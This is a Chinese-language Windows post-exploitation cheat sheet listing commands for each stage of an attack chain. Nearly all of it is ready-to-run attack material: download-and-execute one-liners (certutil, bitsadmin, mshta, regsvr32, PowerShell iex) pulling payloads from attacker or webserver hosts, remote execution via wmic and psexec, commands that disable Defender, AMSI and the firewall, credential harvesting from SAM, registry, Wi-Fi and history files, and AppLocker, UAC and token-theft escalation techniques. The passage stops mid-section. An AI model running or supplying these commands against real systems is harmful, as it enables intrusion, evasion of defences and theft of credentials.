本文记录Windows平台下攻击链各阶段攻击战术、技术...
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
0x01 投递执行 1. vbs 下载 payload 1 2 3 4 5 cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt cscript //E:jscript \\webdavserver\folder\payload.txt echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs
2. certutil下载payload 1 2 3 4 5 6 7 8 9 10 11 12 13 certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete # 清除缓存 certutil -encode c:\downfile.vbs downfile.bat certutil -decode downfile.bat c:\downfile.vbs powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\\cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cer.cer # powershell内存加载 + certuil投递 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
3. ftp下载payload 1 2 3 4 5 6 7 8 9 10 echo open 192.168.1.115 21> ftp.txt echo 123>> ftp.txt //user echo 123>> ftp.txt //password echo binary >> ftp.txt //bin模式 echo get robots.txt >> ftp.txt echo bye >> ftp.txt echo open 127.0.0.1 > o&echo user 123 123 >> o &echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐A ‐n ‐s:o &del /F /Q o
4. bitsadmin下载payload 1 2 3 4 5 6 7 bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt # 查看进度 bitsadmin /setpriority down foreground # 下载过大的文件时提高优先级 bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
5. js下载payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cscript /nologo downfile.js http://192.168.1.115/robots.txt # 读取 var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); WScript.Echo(WinHttpReq.ResponseText); cscript /nologo dowfile2.js http://192.168.1.115/robots.txt # 写入 var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile("down.exe");
6. powershell下载执行 1 2 3 4 5 6 7 8 $p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:\%homepath%\file") powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt') powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" # 基于HTTP下载执行 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
7. cmd下载文件 1 cmd.exe /k < \\webdavserver\folder\batchfile.txt
8. Mshta下载payload 1 2 3 4 5 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta http://webserver/payload.hta mshta \\webdavserver\folder\payload.hta
9. Rundll32下载payload 1 2 3 rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
10. Regasm / Regsvc @subTee C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \webdavserver\folder\payload.dll
11. Regsvr32 @subTee 1 2 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
12. Odbcconf 1 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
13. Msbuild 1 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
14. Netcat 文件下载 攻击机输入:
1 cat file.pl | nc -l 1234
目标机命令:
1 nc 112.124.118.108 1234 > file
15. NET + IPC 下载 1 net use f: \\IP\c$ "password" /user:"account" // 将对方的c盘映射为自己的f盘
16. wmic投递执行 1) 使用wmic创建进程执行程序
1 2 3 4 5 wmic.exe process call create calc # Execute calc.exe. wmic.exe process call create "c:\ads\file.txt:program.exe" # Execute a .EXE file stored as an Alternate Data Stream (ADS).
2) 使用wmi向远程主机执行指令
1 wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
3) 解析并执行XSL内的jscript/vbscript代码
1 2 3 4 5 6 7 8 wmic.exe process get brief /format:"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl" # Execute a script contained in the target .XSL file hosted on a remote server. wmic.exe os get /format:"MYXSLFILE.xsl" # Executes JScript or VBScript embedded in the target XSL stylesheet. wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl" # Executes JScript or VBScript embedded in the target remote XSL stylsheet.
17. psexec投递执行 PsExec 是一个轻型的 telnet 替代工具,无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性
参数:
1 用法:psexec [\\computer[,computer2[,...] | @file][-u user [-p psswd]][-n s][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-][-a n,n,...] cmd [arguments]
1) 直接向远程受害者服务器拷贝文件
1 psexec \\marklap -c test.exe
2) 利用远程服务器上的下载工具进行恶意软件的下载
1 2 3 psexec \\marklap ipconfig /all # 通过 /all 开关在远程系统上执行 IpConfig,并在本地显示输出结果
18. sc定时任务执行指令 1 2 3 4 5 6 7 # 向远程主机执行指令 sc \\192.168.17.138 create test binpath= "c:\test.exe" sc \\192.168.17.138 start test # 本机执行指令 sc create test binpath= "c:\test.exe" sc start test
19. 利用UNC机制从远程下载文件 1 2 3 4 # 从远程下载文件 extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
0x02 权限提升 0. 信息收集 1) 基础信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 1)版本配置信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe # 补丁更新信息 wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # 体系架构 set # 环境变量 Get-ChildItem Env: | ft Key,Value wmic logicaldisk get caption || fsutil fsinfo drives # 驱动信息 wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root 2)用户枚举 echo %USERNAME% || whoami # 获取当前用户名 $env:username whoami /priv # 查看用户权限 whoami /groups net user # 列举所有用户 whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name net accounts # 查看登录限制 net user administrator # 获取用户详细信息 net user admin net user %USERNAME% net localgroup # 枚举本地用户组 Get-LocalGroup | ft Name net localgroup administrators # 查看用户组详细信息 Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource nltest /DCLIST:DomainName # 枚举域控用户 nltest /DCNAME:DomainName nltest /DSGETDC:DomainName 3)网络枚举 ipconfig /all # 查看网络网卡、ip、DNS信息 Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft route print # 查看当前路由表信息 Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex arp -A # 查看ARP信息 Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State netstat -ano # 查看当前连接 net share # 查看网络共享信息 powershell Find-DomainShare -ComputerDomain domain.local reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s # SNMP配置信息 Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse 4)杀软信息 a. Windows Defender # check status of Defender PS C:\> Get-MpComputerStatus # disable scanning all downloaded files and attachments, disable AMSI (reactive) PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus PS C:\> Set-MpPreference -DisableIOAVProtection $true # disable AMSI (set to 0 to enable) PS C:\> Set-MpPreference -DisableScriptScanning 1 # exclude a folder PS C:\> Add-MpPreference -ExclusionPath "C:\Temp" PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks" PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" # remove signatures (if Internet connection is present, they will be downloaded again): PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All b. Firewall # 列举防火墙状态和配置 netsh advfirewall firewall dump netsh firewall show state netsh firewall show config # 列举防火墙封禁端口 $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports # 关闭防火墙 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # Win7 环境 powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value'` netsh firewall set opmode disable # 所有环境 netsh Advfirewall set allprofiles state off c. AppLocker枚举 PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections d. 默认可写文件 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\System32\spool\printers C:\Windows\System32\spool\servers C:\Windows\tracing C:\Windows\Temp C:\Users\Public C:\Windows\Tasks C:\Windows\System32\tasks C:\Windows\SysWOW64\tasks C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system C:\Windows\debug\wia C:\Windows\registration\crmlog C:\Windows\System32\com\dmp C:\Windows\SysWOW64\com\dmp C:\Windows\System32\fxstmp C:\Windows\SysWOW64\fxstmp
2) 密码信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 1)SAM/SYSTEM文件 # Usually %SYSTEMROOT% = C:\Windows # 文件所在位置 %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system # 导出hash文件 pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt 2)文件内容查找 cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini 3)从注册表查找 REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList 4)从xml文件查找 # unattend.xml文件位置 C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul # 查找 5)IIS Web配置 Get-Childitem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue 6)其他配置文件 %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\* dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b 7)Wifi密码查找 netsh wlan show profile # AP SSID netsh wlan show profile <SSID> key=clear # Cleartext Pass cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on 8)粘贴版密码 所在位置:C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite 9)存储用户密码查看 rundll32 keymgr,KRShowKeyMgr 10)Powershell历史命令 关闭命令:Set-PSReadlineOption -HistorySaveStyle SaveNothing type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw 11)数据流密码获取 PS > Get-Item -path flag.txt -Stream * PS > Get-Content -path flag.txt -Stream Flag
3) 进程/服务信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 1)查看运行进程 tasklist /v net start sc query Get-Service Get-Process Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize 2)查看system服务进程 tasklist /v /fi "username eq system" 3)列举已安装程序 Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name 4)列举services net start wmic service list brief tasklist /SVC 5)列举计划任务 schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State 6)查看自启动任务 wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
1. 通过服务创建/计划任务 介绍几种从admin权限提权到system权限的方法,本质上是采用了”劫持启动”的思想,通过创建一个系统任务,劫持系统以一个system权限来执行任意的目的
1) 使用sc命令
1 2 sc Create TestService1 binPath= "cmd /c start" type= own type= interact sc start TestService1
创建服务后,启动该服务,会遇到报错,点击”查看消息”可以得到另一个类似screen的会话界面中,获得system权限
注意:通过sc创建服务必须要有administrator权限,普通账户(非administrators组)无法创建服务
2) 通过计划任务
使用at命令(默认以system权限启动):
1 2 # Create a recurring task to execute every day at a specific time. C:\Windows\System32\at.exe at 10:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe
at启动的任务默认是非交互模式,如果希望以交互模式启动新进程和指令,创建服务,以system权限启动:
1 schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM可以使用schtasks命令
查看服务状态:
1 schtasks /Query /TN TestService2
删除服务:
1 schtasks /Delete /TN TestService2 /F
3) 利用psexec
psexec.exe可以被用来向远程服务器执行程序和指令,也可以被用在本地执行进程指令
1 2 3 4 5 psexec.exe -accepteula -s -i -d notepad.exe -s Run the remote process in the System account. -i Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session. -d Don't wait for process to terminate (non-interactive).
注意:使用psexec会创建PSEXESVC服务,产生日志Event 4697、Event 7045、Event 4624和Event 4652,所以需要administrator权限启动
4) 利用win32 API创建服务
利用新建服务的进程权限都是system这一优势获得一个system的shell
1 2 3 4 1. 新建一个services stup exe,实现windows service的基本接口,在start逻辑里负责向named pipe中随意写入一些bytes,目的是激活named pipe 2. 真正的提权exe,要负责创建一个named pipe,同时连接上去,和services stup exe互通 3. 通过ImpersonateNamedPipeClient、DuplicateTokenEx从services stup exe拷贝出system token 4. 调用CreateProcessAsUser基于已获得的token创建一个新cmd.exe shell进程,进行本地提权
refer: https://github.com/xpn/getsystem-offline
2. 利用bitadmins提权 bitadmins是用于文件下载的windows系统内置指令,但同时它还具有另一个方便的能力就是:”下载完毕后触发一次执行执行回调,并且是system权限”
1) 借助bitadmins回调执行功能启动新进程
bitadmins只有在文件下载成功后,才能接着执行其中的cmd命令,但是为了缩短执行命令的时间,减小下载文件的流量,可以把文件设置为本地文件,这样就可以跳过文件下载的环节,直接执行一个指令
1 2 3 4 bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor "%COMSPEC%" "cmd.exe /c regedit.exe" bitsadmin /Resume backdoor
2) 劫持其他应用的bitadmins任务,向其GetNotifyCmdLine中植入恶意代码
bitadmins是系统updates底层使用的下载支持服务,除此之外,像chrome这种应用也会使用bitadmins进行应用更新,因此,可以通过劫持这些应用的回调GetNotifyCmdLine,向其中注入定制的代码,这样,每当应用进行升级或升级检查的时候,就会触发evil code
1 2 3 4 5 6 7 8 9 10 11 查看现在都有哪些应用创建了bisadmins任务 bitsadmin /list /allusers /verbose bitsadmin /GetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044} # 发现回调任务为空 # the notification command line is 'NULL' 'NULL' # 给任务添加GetNotifyCmdLine bitsadmin.exe /SetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044} "%COMSPEC%" "cmd.exe /c calc.exe" # 查看GUID bitsadmin /GetNotifyCmdLine {B4FF6F6E-E980-4F33-9AB6-A510E1F03044}
refer:
3. 绕过AppLocker限制提权 AppLocker本质是一个”黑/白名单机制框架”,相比黑名单,白名单是它的主流用法,AppLocker 为管理员提供指定哪些用户可以运行特定应用程序的能力。AppLocker 允许管理员控制下列类型的应用程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1) 可执行文件 .exe .com 2) 脚本文件 .js .ps1 .vbs .cmd .bat 3) Windows Installer 文件 .msi .msp 4) DLL 文件 .dll .ocx
1) AppLocker局限性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1) AppLocker无法控制内存中正在运行的进程:利用一些可信的进程或使用反射注入技术就可以做到绕过 2) DLL劫持: 除非有严格的DLL AppLocker规则,否则你就可以DLL劫持信任的应用程序 3) 不能控制Office宏 4) 不能控制HTML应用程序(.hta应用) 5) 白名单控制粒度过大导致绕过 例如配置了只允许C:/Windows/目录下的进程执行,但是黑客有可能有权限向这个目录下写入自己的恶意程序,从而绕过AppLocker限制启动新进程。可以用这个脚本来探测C:\Windows\*下可写目录的可执行情况 6) AppLocker是针对非管理员账户的应用程序实行限制的 如果有本地管理员权限,你可以添加一个本地规则允许所有的东西都可以执行。这就会重写所有基于域的策略 7) 利用系统原生白名单进程 通过rundll32调用javascript代码并执行任意代码 通过regsvc32.exe执行sct代码
2) 绕过Applocker方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 1)Placing files in writeable paths C:\Windows\Tasks C:\Windows\Temp C:\windows\tracing C:\Windows\Registration\CRMLog C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System 1) DXCap.exe DXCap.exe -c C:\Windows\System32\notepad.exe 3) Register-cimprovider.exe Register-cimprovider -path "C:\bypass\evil.dll" 4) Fsi.exe fsi.exe c:\folder\d.fscript # Use fsi.exe to run unsigned F# code. 5) msconfig msconfig即系统配置实用程序,是Microsoft System Configuration的缩写。 在"C:\Windows\System32\mscfgtlc.xml"新建xml文件, <?xml version="1.0" ?> <MSCONFIGTOOLS> <a NAME="LOLBin" PATH="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe" DEFAULT_OPT="-command calc.exe " HELP="LOLBin MSCONFIGTOOLS"/> </MSCONFIGTOOLS> 启动CMD :msconfig -5 找到LOLBin一栏 点击启动 触发条件 6)Ieexec.exe IEExec.exe应用程序是一个未记录的Microsoft.NET框架应用程序,它包含在.NET框架中。攻击者可以使用IEExec.exe应用程序作为主机来运行其他托管应用程序 ieexec.exe http://x.x.x.x:8080/bypass.exe
4. 利用组策略提升权限 开启AlwaysInstallElevated特权安装功能
开启AlwaysInstallElevated特权安装功能:
此时会在注册表如下位置自动创建键值:
1 2 3 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
如果获得了对注册表的访问权限,可以通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限
1 2 3 4 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # 值全为1代表开启AlwaysInstallElevated,否则未开启
然后使用powerup powershell tookkit 生成对应的.msi程序,完成提权添加用户的操作:
1 2 3 4 5 6 7 8 9 10 # 将Privesc拷贝至"$Env:windir\System32\WindowsPowerShell\v1.0\Modules" # 导入moduel: Import-Module Privesc # 检查是否开启AlwaysInstallElevated: Get-RegistryAlwaysInstallElevated # 返回true代表系统开启AlwaysInstallElevated # 利用AlwaysInstallElevated添加用户 Write-UserAddMSI # 运行后生成文件UserAdd.msi # 以普通用户权限运行这个UserAdd.msi,成功添加账户
5. 绕过UAC提权 自Windows Vista开始,微软引入了完整性级别概念,用于防止”权限滥用”,其设计模型来自于Biba完整性模型基础上的上不可写,下不可读原则来保护数据完整性,权限由高到低分为:
1 2 3 4 5 6 7 1. 系统级(system) 2. 管理员(High): 在Windows Vista之前的系统,默认创建的管理员账户即对应完整管理员(High)级别,这个级别基本没有限制,导致可以任意添加计划任务,写关键路径,读写关键注册表、创建服务、加载驱动等等 3. 用户(Medium): 从Windows Vista开始创建的管理员账户均在用户(Medium)级别,当UAC(默认)开启的情况下,这个级别会有很多限制,仅当程序请求管理员权限,或是触发条件则弹窗询问用户授权。 4. 受限(Low): 受限(Low)被应用于IE浏览器作为保护模式使用,其直接访问网页的进程会通过Host主进程代理操作系统资源,只有在Temp、Temporary、Internet Files、Cookies和Favorites目录下的几个特定低完整性目录可以进行写操作,同时启动其他进程时弹窗询问用户。
但由于微软出于兼容性、用户体验等的考虑,为减少UAC弹窗,设定了自动提权的机制,满足以下两个条件的程序,会自动提升权限
1 2 3 4 5 1. 必须经过 Windows Publisher 数字签名 2. 必须位于"安全目录"中,其中"安全目录"指的是普通用户(Medium)无权修改的,包括 1) %SystemRoot%\System32(例如,\Windows\System32) 2) 及其大多数子目录、%SystemRoot%\Ehome 3) 以及 %ProgramFiles% 下的少许目录(其中包括 Windows Defender 和 Windows 日记本)
绕过UAC的方法的核心思想
1 2 3 4 5 6 7 1. 要充分利用基于Windows设定的"自动提升"机制,因为只有这个唯一的通道是可以避开UAC的。 2. 显然不能或者非常难可以获得微软publisher的签名,所有只有寻找那些被系统"认可"的"具备自动提升权限"的程序去尝试"注入"或"劫持",而"注入"这些核心进程是非常困难的,因此剩下的可探索的方向就是"劫持" 3. 首先需要列出系统上存在的具备"自动提升权限"的进程,并找到它们存在dll的目录及文件名,这些dll文件名就是我们将要劫持替换的文件。 4. 系统程序所在的目录往往都是核心目录,向这种目录写入dll同样是一个困难,这里依然需要使用"劫持"思想,寻找某个系统原生的程序,利用它的某个功能,实现dll的释放和替换。
1) DLL劫持
将DLL复制到 sysprep目录进行权限提升。实现这一目的的两种最流行的方式是:使用一个IFileOperation COM对象,或者使用Wusa.exe和它的”extract”选项。目前,Invoke-PsUACme使用的是Wusa方法。因为Wusa设置为了自动提升,所以可以用它来提取一个cab文件到sysprep目录
1 2 3 4 5 6 7 8 9 10 11 # 通过makecab生成一个cab文件,cab中包含我们指定的恶意dll文件 makecab C:\your_dll_path.dll C:\any_path_is_ok.cab # 执行wusa将cab文件中的dll释放到指定目录(例如"C:\Windows\System32\Sysprep\"),这一步即是劫持的过程 & wusa C:\any_path_is_ok.cab /extract:"C:\Windows\System32\Sysprep\" # 调用"C:\Windows\System32\Sysprep\sysprep.exe",此时该进程调用的dll会被我们完成劫持,执行我们指定的dll中的恶意代码 & C:\Windows\System32\Sysprep\sysprep.exe # 使用nishang的Invoke-PsUACme可以自动完成这所有过程 Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"
refer: https://github.com/hfiref0x/UACME
2) CMSTP配置VPN功能滥用
vpn配置程序自身提供了一个功能”RunPreSetupCommandsSection”,提供在安装开始前提供了一个执行指令的回调接口
把.inf文件放置在目录下,执行该指令
1 C:/Windows/System32/cmstp.exe C:\Users\Administrator\Desktop\poc\UACBypass.inf /au
指令过程中会弹出一个UI窗口需要点击确认,可以用powershell脚本的sendkey模拟按键来完成一键自动化UAC提权
refer: https://www.anquanke.com/post/id/86685
3) 注册表劫持
1 2 3 Eventvwr.exe - Displays Windows Event Logs in a GUI window 在"eventvwr.exe"启动期间,eventvwr.exe检查注册表值HKCU\Software\Classes\msc file\shell\open\command以查找mmc.exe的位置,该文件用于打开eventvwr.msc保存的控制台文件。如果将另一个二进制文件或脚本的位置添加到此注册表值,则它将作为高完整性进程执行,而不会向用户显示UAC提示
refer: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
6. Token/Hash窃取与提权 1) 通过incognito枚举token
Windows有两种类型的Token:
1 2 3 a. Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)。具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效 b. Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token都只在系统重启后清除,通过incognito.exe枚举token list
1 incognito.exe list_tokens -u
利用该token执行calc.exe
1 2 # 通过任务管理器查看到进程的账户名为 hacker incognito.exe execute -c "iZxkpes3z6p6ajZ\hacker" calc.exe
提权至system:
